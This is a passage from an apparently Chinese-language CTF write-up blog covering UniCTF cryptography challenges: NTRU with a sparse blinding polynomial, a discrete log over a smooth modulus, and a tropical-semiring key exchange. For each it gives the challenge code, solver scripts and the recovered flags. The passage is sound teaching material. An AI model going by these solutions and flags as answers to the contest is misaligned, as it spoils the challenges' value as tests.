\u5728\u9884\u8ba1\u7b97\u7684\u5408\u6cd5\u5dee\u5206\u96c6\u5408\u4e2d\uff0c\u5219\u4e3a\u52a0\u5bc6\u6570\u636e\uff08Coin=0\uff09\uff0c\u5426\u5219\u4e3a\u968f\u673a\u6570\u636e\uff08Coin=1\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">exe.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from fractions import Fraction\nimport struct\n\nroots = &#91;-37, -9, -4, 5, 6, 17]\n\nc6 = 44114\nc7 = -606\nc8 = 1\n\nA = &#91;]\nb = &#91;]\nfor x in roots:\n    row = &#91;Fraction(x**j) for j in range(0, 6)]\n    rhs = - (Fraction(c6 * (x**6)) + Fraction(c7 * (x**7)) + Fraction(c8 * (x**8)))\n    A.append(row)\n    b.append(rhs)\n\ndef gauss_solve(A, b):\n    n = len(A)\n    m = len(A&#91;0])\n    M = &#91;A&#91;i]&#91;:] + &#91;b&#91;i]] for i in range(n)]\n    row = 0\n    col = 0\n    while row &lt; n and col &lt; m:\n        sel = None\n        for i in range(row, n):\n            if M&#91;i]&#91;col] != 0:\n                sel = i\n                break\n        if sel is None:\n            col += 1\n            continue\n        M&#91;row], M&#91;sel] = M&#91;sel], M&#91;row]\n        piv = M&#91;row]&#91;col]\n        M&#91;row] = &#91;v \/ piv for v in M&#91;row]]\n        for i in range(n):\n            if i != row and M&#91;i]&#91;col] != 0:\n                factor = M&#91;i]&#91;col]\n                M&#91;i] = &#91;M&#91;i]&#91;j] - factor * M&#91;row]&#91;j] for j in range(m + 1)]\n        row += 1\n        col += 1\n    sol = &#91;M&#91;i]&#91;-1] for i in range(n)]\n    return sol\n\nsol = gauss_solve(A, b)  \ncoeffs_exact = &#91;int(s) for s in sol] + &#91;c6, c7, c8]\n\nprint(\"Solved (exact) coefficients (c0..c8):\")\nfor i, v in enumerate(coeffs_exact):\n    print(f\" c&#91;{i}] = {v}\")\n\ndef pack_int32_signed(x):\n    ux = x &amp; 0xFFFFFFFF\n    return struct.pack('&lt;I', ux)\n\nc = coeffs_exact\nSrc = &#91;0]*7\nSrc&#91;0] = c&#91;0]\nSrc&#91;1] = c&#91;1]\nSrc&#91;2] = c&#91;2]\nSrc&#91;3] = c&#91;3]\nlow4 = c&#91;4] &amp; 0xFFFF\nhigh4 = c&#91;5] &amp; 0xFFFF\nSrc&#91;4] = (high4 &lt;&lt; 16) | low4\nlow5 = c&#91;6] &amp; 0xFFFF\nhigh5 = c&#91;7] &amp; 0xFFFF\nSrc&#91;5] = (high5 &lt;&lt; 16) | low5\nSrc&#91;6] = (0 &lt;&lt; 16) | (c&#91;8] &amp; 0xFFFF)\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-375-1024x348.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"348\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-375-1024x348.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2708\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{5OM37im3Z_W3_N33D_7O_p4Y_4773n7iON_7o_73h_58OX____63c7dd70}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">NTRU<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-376-1024x384.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"384\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-376-1024x384.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2709\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">public.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\"\"\"\nNTRU Challenge - Public Parameters\n\"\"\"\nN = 31\np = 257\nq = 12289\nh = &#91;9603, 11838, 1242, 5868, 12249, 3130, 3722, 5910, 5879, 7672, 1119, 339, 10748, 7310, 6370, 9353, 10589, 10739, 10213, 2560, 5132, 4889, 11292, 2649, 2556, 8037, 3146, 9533, 11563, 1554, 304]\nc = &#91;91, 11459, 932, 4345, 12153, 9504, 5147, 7268, 2493, 8891, 8712, 5785, 11608, 7683, 11327, 8453, 10380, 6004, 7849, 1622, 6154, 10369, 10278, 769, 11676, 11492, 4564, 5445, 10909, 11502, 12216]\n\nif __name__ == \"__main__\":\n    print(\"NTRU Challenge Parameters:\")\n    print(f\"N = {N}\")\n    print(f\"p = {p}\")\n    print(f\"q = {q}\")\n    print(f\"r_weight = 4\")\n    print(\"h (first 5):\", h&#91;:5], \"...\")\n    print(\"c (first 5):\", c&#91;:5], \"...\")\n    print()\n    print(\"Encryption: c = r * h + m (mod q, x^N-1)\")\n    print(f\"where r has only 4 non-zero coefficients (\u00b11)\")\n    print(\"Goal: recover the message m containing the flag\")\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\u7ed9\u51fa\u7684\u662f NTRU \u516c\u94a5\u5bc6\u7801\u4f53\u5236\u7684\u53d8\u79cd\uff0c\u5df2\u77e5\u53c2\u6570 $N=31, q=12289$\uff0c\u52a0\u5bc6\u516c\u5f0f\u4e3a<br>$$<br>c equiv r cdot h + m pmod q<br>$$<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5173\u952e\u5f31\u70b9\u5728\u4e8e N\u6781\u5c0f\u4e14 r\u6781\u5176\u7a00\u758f<br>$$<br>r_weight = 4\uff0c\u7cfb\u6570\u4ec5\u4e3a pm 1<br>$$<br>\u8fd9\u610f\u5473\u7740 r \u7684\u53ef\u80fd\u6027\u7a7a\u95f4\u4ec5\u4e3a<br>$$<br>C(31, 4) times 2^4 approx 5 times 10^5<br>$$<br>\u53ef\u4ee5\u901a\u8fc7\u7206\u7834 r\u7ed3\u5408\u5bc6\u6587 c \u548c\u516c\u94a5 $h$ \u6765\u8fd8\u539f\u660e\u6587 m\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import itertools\n\ndef solve():\n    N = 31\n    q = 12289\n\n    h = &#91;9603, 11838, 1242, 5868, 12249, 3130, 3722, 5910, 5879, 7672, 1119, 339, 10748, 7310, 6370, 9353, 10589, 10739, 10213, 2560, 5132, 4889, 11292, 2649, 2556, 8037, 3146, 9533, 11563, 1554, 304]\n    c = &#91;91, 11459, 932, 4345, 12153, 9504, 5147, 7268, 2493, 8891, 8712, 5785, 11608, 7683, 11327, 8453, 10380, 6004, 7849, 1622, 6154, 10369, 10278, 769, 11676, 11492, 4564, 5445, 10909, 11502, 12216]\n\n    print(f\"&#91;*] \u6b63\u5728\u5c1d\u8bd5\u66b4\u529b\u7834\u89e3 r (N={N}, weight=4)...\")\n\n    for indices in itertools.combinations(range(N), 4):\n\n        for signs in itertools.product(&#91;-1, 1], repeat=4):\n\n            candidate_m = &#91;]\n\n            for i in range(N):\n                rh_val = 0\n                for k in range(4):\n                    r_idx = indices&#91;k]\n                    r_sign = signs&#91;k]\n\n                    h_idx = (i - r_idx) % N\n                    rh_val += r_sign * h&#91;h_idx]\n\n                m_val = (c&#91;i] - rh_val) % q\n                candidate_m.append(m_val)\n\n            try:\n                char_list = &#91;]\n                for val in candidate_m:\n                    if 32 &lt;= val &lt;= 126:\n                        char_list.append(chr(val))\n                    elif val == 0:\n                        char_list.append('.') # \u7528\u70b9\u8868\u793a 0\n                    else:\n                        char_list.append('?') # \u4e0d\u53ef\u89c1\u5b57\u7b26\u7528 ?\n\n                msg = \"\".join(char_list)\n\n                if \"UniCTF\" in msg:\n                    print(f\"n&#91;+] \u53d1\u73b0\u53ef\u80fd\u7684\u89e3!\")\n                    print(f\"&#91;+] Indexes: {indices}\")\n                    print(f\"&#91;+] Signs:   {signs}\")\n                    print(f\"&#91;+] Raw Ints: {candidate_m}\")\n                    print(f\"&#91;+] Message: {msg}\")\n                    return # \u627e\u5230\u540e\u9000\u51fa\n\n            except:\n                continue\n\n    print(\"&#91;-] \u641c\u7d22\u7ed3\u675f\uff0c\u672a\u627e\u5230\u5305\u542b 'UniCTF' \u7684\u89e3\u3002\")\n\nif __name__ == \"__main__\":\n    solve()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-377-1024x175.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"175\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-377-1024x175.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2710\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{pa3sw0rd_1s_ch2rmin3}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">subgroup_dlp<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-378-1024x384.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"384\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-378-1024x384.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2711\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">task.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from Crypto.Util.number import *\n\nflag = b'UniCTF{???}'\nm = bytes_to_long(flag)\nn = 20416580311348568104958456290409800602076453150746674606637172527592736894552749500299570715851384304673805100612931000268540860237227126141075427447627491168\nprint(pow(7,m,n))\n# c = 8195229101228793312160531614487746122056220479081491148455134171051226604632289610379779462628287749120056961207013231802759766535835599450864667728106141697<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\u5206\u6790<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u9898\u76ee\u6a21\u578b<\/strong>\uff1a<br>$$<br>\u7ed9\u5b9a\u4e86\u5927\u6574\u6570 n\u3001c \u548c g=7\uff0c\u6ee1\u8db3 c equiv g^m pmod n\u3002\u6211\u4eec\u9700\u8981\u6c42\u89e3 m \u5e76\u5c06\u5176\u8f6c\u6362\u4e3a flag\u3002<br>$$<br><strong>\u6f0f\u6d1e\u70b9<\/strong>\uff1a \u8fd9\u662f\u4e00\u4e2a\u5178\u578b\u7684\u79bb\u6563\u5bf9\u6570\u95ee\u9898 (DLP)\u3002\u901a\u5e38 DLP \u5f88\u96be\u6c42\u89e3\uff0c\u4f46\u8fd9\u91cc\u7684\u6a21\u6570 n\u662f\u4e00\u4e2a\u5149\u6ed1\u6570\u3002 \u901a\u8fc7\u5206\u89e3 n\uff0c\u53d1\u73b0\u5b83\u7531\u591a\u4e2a\u8f83\u5c0f\u7684\u7d20\u6570\u5e42\u7ec4\u6210<br>$$<br>n = p_1^{e_1} cdot p_2^{e_2} cdots\u3002<br>$$<br>\u89e3\u9898\u601d\u8def<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5206\u89e3 n\uff1a\u5f97\u5230\u6240\u6709\u8d28\u56e0\u6570<br>$$<br>p_i^{e_i}<br>$$<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">$$<br>\u5b50\u7fa4\u6c42\u89e3\uff1a\u5728\u6bcf\u4e2a\u6a21 p_i^{e_i} \u4e0b\u6c42\u89e3 7^{x_i} equiv c pmod{p_i^{e_i}}\u3002<br>$$<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">$$<br>\u5bf9\u4e8e p^e \u7684\u60c5\u51b5\uff08\u7279\u522b\u662f\u672c\u9898\u4e2d\u7684 p^3\uff09\uff0c\u4f7f\u7528\u7ebf\u6027\u63d0\u5347\u6216\u8ba1\u7b97\u771f\u5b9e\u9636\u540e\u6c42\u89e3\u3002<br>$$<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>CRT \u5408\u5e76<\/strong>\uff1a\u5229\u7528\u4e2d\u56fd\u5269\u4f59\u5b9a\u7406\u5c06\u6240\u6709 $x_i$ \u5408\u5e76\uff0c\u5f97\u5230\u539f\u59cb\u7684 $m$\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import sys\nfrom Crypto.Util.number import long_to_bytes\n\nn = 20416580311348568104958456290409800602076453150746674606637172527592736894552749500299570715851384304673805100612931000268540860237227126141075427447627491168\nc = 8195229101228793312160531614487746122056220479081491148455134171051226604632289610379779462628287749120056961207013231802759766535835599450864667728106141697\ng = 7\n\nfactors_list = &#91;\n    (2, 5),\n    (3, 2),\n    (10711086940911733573, 1),\n    (188455199626845780197, 3), \n    (988854958862525695246052320176260067587096611000882853771819829938377275059, 1)\n]\n\ndef solve_pe(base, target, p, e):\n    print(f\"    &#91;.] Solving DLP mod p (size: {p.nbits()} bits)...\")\n    F = GF(p)\n    x0 = discrete_log(F(target), F(base))\n\n    current_x = x0\n\n    full_mod = p**e\n    base_pow_p_minus_1 = power_mod(base, p-1, full_mod)\n\n    for i in range(1, e):\n        print(f\"    &#91;.] Lifting to mod p^{i+1}...\")\n        mod_next = p**(i+1)\n\n        g_x = power_mod(base, current_x, mod_next)\n\n        rem = (target * inverse_mod(g_x, mod_next)) % mod_next\n\n        val_numerator = (rem - 1) \/\/ (p**i)\n        val_denominator = (base_pow_p_minus_1 - 1) \/\/ p\n\n        k = (val_numerator * inverse_mod(val_denominator, p)) % p\n\n        current_x = current_x + k * (p-1) * (p**(i-1))\n\n    return current_x\n\ndlogs = &#91;]\nmoduli = &#91;]\n\nprint(\"&#91;*] Starting Optimized DLP with Correct Order Calculation...\")\n\nfor p, e in factors_list:\n    pe = p ** e\n    print(f\"n&#91;*] Processing factor: {p}^{e}\")\n\n    real_order_p = GF(p)(g).multiplicative_order()\n    real_full_order = real_order_p * (p**(e-1))\n    print(f\"    &#91;-] Real Order: {real_full_order}\")\n\n    if e &gt; 1 and p &gt; 10000:\n        try:\n            x = solve_pe(g, c, p, e)\n            dlogs.append(x)\n            moduli.append(real_full_order)\n            print(f\"    &#91;+] Solved! x = {x}\")\n        except Exception as err:\n             print(f\"    &#91;!] Lifting failed: {err}\")\n    else:\n        R = Zmod(pe)\n        g_sub = R(g)\n        c_sub = R(c)\n        x = discrete_log(c_sub, g_sub)\n        dlogs.append(x)\n        moduli.append(real_full_order)\n        print(f\"    &#91;+] Solved! x = {x}\")\n\nprint(\"n&#91;*] Reconstructing m with CRT...\")\ntry:\n    m = crt(dlogs, moduli)\n    print(f\"&#91;+] Recovered m: {m}\")\n\n    flag = long_to_bytes(int(m))\n    print(f\"n&#91;SUCCESS] FLAG: {flag.decode()}\")\nexcept Exception as e:\n    print(f\"&#91;!] CRT Failed: {e}\")\n    print(\"Dlogs:\", dlogs)\n    print(\"Moduli:\", moduli)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-379.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"680\" height=\"480\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-379.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2712\"  sizes=\"auto, (max-width: 680px) 100vw, 680px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{Th1s_DLP_probl3m_i5_v3ry_s1mpl3_f0r_y0u!!!}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Subgroup-Gorilla<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-380-1024x422.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"422\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-380-1024x422.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2713\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">task.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from sage.all import *\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\nfrom hashlib import md5\nfrom secret import flag\n\nclass algebraring(UniqueRepresentation, Parent):\n    def __init__(self):\n        Parent.__init__(self, category=CommutativeRings())\n\n    def _element_constructor_(self, x:tuple, n:int=None):\n        if isinstance(x, algebra): return x\n        if x == 0: return self.zero()\n        if x == 1: return self.one()\n        if isinstance(x, tuple) and n is not None: return algebra(self, x, n)\n\n    def __repr__(self): return \"algebraring\"\n\n    def zero(self): return self((\"-\u221e\",), 0)\n\n    def one(self): return self((0, 0, 0), 1)\n\n    def random_element(self, lower_bound:int =-10, upper_bound:int =10):\n        from random import randint\n\n        a1 = randint(lower_bound, upper_bound)\n        a2 = randint(lower_bound, upper_bound)\n        a3 = randint(lower_bound, upper_bound)\n        return self((a1, a2, a3), &#91;0, 1]&#91;randint(0, 1)])\n\nclass algebra(CommutativeRingElement):\n    def __init__(self, parent: 'algebraring', t:tuple, n:int):\n        CommutativeRingElement.__init__(self, parent)\n        self.t = t\n        self.n = n\n\n    def __repr__(self):\n        return f\"T{self.t, self.n}\"\n\n    def is_zero(self):\n        return self.t == (\"-\u221e\",)\n\n    def f(self):\n        if self.is_zero():\n            return self.parent().zero()\n        elif self.n == 0:\n            return self\n        else:\n            p, q, r = self.t\n            return algebra(self.parent(), (p + q + r, p - q + r, p + q - r), 0)\n\n    def __eq__ (self, other: 'algebra'): return self.t == other.t and self.n == other.n\n\n    def __ne__(self, other: 'algebra'): return not self.__eq__(other)\n\n    def __lt__(self, other: 'algebra'):\n        if self.is_zero(): return not other.is_zero()\n        elif other.is_zero(): return False\n        elif self.n != other.n: return self.f() &lt; other.f()\n        elif self.n == other.n and self.t &lt; other.t: return True\n        else: return False\n\n    def __le__(self, other: 'algebra'): return self.__lt__(other) or self.__eq__(other)\n\n    def __gt__(self, other: 'algebra'): return not self.__le__(other)\n\n    def __ge__(self, other: 'algebra'): return not self.__lt__(other)\n\n    def __add__(self, other: 'algebra'): return &#91;self.f(), self, other]&#91;(self.f() &gt; other.f()) - (self.f() &lt; other.f())]\n\n    def __mul__(self, other: 'algebra'):\n        if self.is_zero() or other.is_zero(): return self.parent().zero()\n        if self.n == other.n: return algebra(self.parent(), tuple(i + j for i, j in zip(self.t, other.t)), self.n)\n        elif self.n == 0 and other.n == 1: return algebra(self.parent(), tuple(i + j for i, j in zip(self.t, other.f().t)), 0)\n        elif self.n == 1 and other.n == 0: return algebra(self.parent(), tuple(i + j for i, j in zip(self.f().t, other.t)), 0)\n\n    def _mul_(self, other: 'algebra'): return self.__mul__(other)\n\ngen_matrix = lambda row: matrix(T, (l := len(row)), l, lambda i, j: row&#91;(j - i) % l])\n\ndef Multi_Party_protocol(N, T, bits):\n    P = random_matrix(T, N, lower_bound=0, upper_bound=2**bits)\n\n    C1 = gen_matrix(&#91;T.random_element(lower_bound=0, upper_bound=2**bits) for _ in range(N)])\n    C2 = gen_matrix(&#91;T.random_element(lower_bound=0, upper_bound=2**bits) for _ in range(N)])\n\n    C3 = gen_matrix(&#91;T.random_element(lower_bound=0, upper_bound=2**bits) for _ in range(N)])\n    C4 = gen_matrix(&#91;T.random_element(lower_bound=0, upper_bound=2**bits) for _ in range(N)])\n\n    C5 = gen_matrix(&#91;T.random_element(lower_bound=0, upper_bound=2**bits) for _ in range(N)])\n    C6 = gen_matrix(&#91;T.random_element(lower_bound=0, upper_bound=2**bits) for _ in range(N)])\n\n    K1 = C1 * P * C2\n\n    K2 = C3 * P * C4\n\n    K3 = C5 * P * C6\n\n    K4 = C1 * K3 * C2\n\n    K5 = C3 * K1 * C4\n\n    K6 = C5 * K2 * C6\n\n    KA = C1 * K6 * C2\n    KB = C3 * K4 * C4\n    KC = C5 * K5 * C6\n\n    assert KA == KB == KC\n    return P, K1, K6, KA\n\nif __name__ == '__main__':\n    N = 5\n    T = algebraring()\n    bits = 512\n\n    P, K1, K6, KA = Multi_Party_protocol(N, T, bits)\n\n    print(f'P = {P.list()}')\n    print(f'K1 = {K1.list()}')\n    print(f'K6 = {K6.list()}')\n    print(f'enc = {AES.new(key=md5(str(KA).encode()).digest(), mode=AES.MODE_CTR, nonce=b'gorilla').encrypt(pad(flag, 16))}')\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-381.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"951\" height=\"764\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-381.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2714\"  sizes=\"auto, (max-width: 951px) 100vw, 951px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u52a0\u5bc6\u5206\u6790<\/strong> \u9898\u76ee\u5b9e\u73b0\u4e86\u4e00\u4e2a\u8d85\u70ed\u5e26\u534a\u73af\u5bc6\u7801\u7cfb\u7edf\u3002<br>$$<br>\u4ee3\u6570\u7ed3\u6784\uff1a\u5143\u7d20 T((p,q,r), n)\uff0c\u5176\u4e2d n=1 \u4e3a\u5b9e\u4f53\uff0cn=0 \u4e3a\u5e7d\u7075\u3002<br>$$<br><strong>\u8fd0\u7b97\u89c4\u5219<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u4e58\u6cd5<\/strong>\uff1a\u5bf9\u5e94\u5411\u91cf\u76f8\u52a0\u3002<\/li>\n\n\n\n<li><strong>\u52a0\u6cd5<\/strong>\uff1a\u6bd4\u8f83 f(x) \u6295\u5f71\u503c\u7684\u5b57\u5178\u5e8f\uff0c\u53d6\u5927\u8005\u3002\u82e5\u4e24\u8005 f(x) \u76f8\u7b49\uff0c\u7ed3\u679c\u53d8\u4e3a Ghost\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">$$<br>\u6d41\u7a0b\uff1a\u751f\u6210\u79c1\u6709\u77e9\u9635 P \u548c\u5faa\u73af\u77e9\u9635 C_1, dots, C_6\u3002\u8ba1\u7b97 K_1 = C_1 P C_2 \u7b49\u3002\u6700\u7ec8\u5bc6\u94a5\u4e3a KA = C_1 K_6 C_2 \u7684 SageMath \u683c\u5f0f\u5b57\u7b26\u4e32\u7684 MD5\u3002<br>$$<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u89e3\u5bc6\u903b\u8f91<\/strong> \u6838\u5fc3\u662f\u4ece $K_1$ \u8fd8\u539f $C_1, C_2$\uff08\u672c\u8d28\u662f\u4e24\u4e2a\u5411\u91cf\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u4e0a\u754c\u7ea6\u675f<\/strong>\uff1a\u77e9\u9635\u4e58\u6cd5\u5373\u201c\u8def\u5f84\u6c42\u548c\u53d6\u6700\u5927\u201d\u3002\u56e0\u6b64\u4efb\u610f\u8def\u5f84<br>$$<br>C_1[u] + C_2[v] \u7684\u503c\u5fc5\u7136\u5c0f\u4e8e\u7b49\u4e8e\u7ed3\u679c K_1[i,j] &#8211; P[m,k]\u3002\u8fd9\u7ed9\u51fa\u4e86\u6570\u503c\u4e0a\u754c\u3002<br>$$<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">$$<br>\u5f3a\u5236\u8fb9:K_1 \u4e2d Tangible (n=1) \u7684\u5143\u7d20\u610f\u5473\u7740\u5728\u751f\u6210\u8be5\u5143\u7d20\u7684\u6c42\u548c\u8fc7\u7a0b\u4e2d\uff0c\u6709\u4e14\u4ec5\u6709\u4e00\u6761\u8def\u5f84\u8fbe\u5230\u4e86\u6700\u5927\u503c\u3002\u8fd9\u63d0\u4f9b\u4e86\u5f3a\u7b49\u5f0f\u7ea6\u675f\uff1aC_1[u] + C_2[v] = K_1[i,j] &#8211; 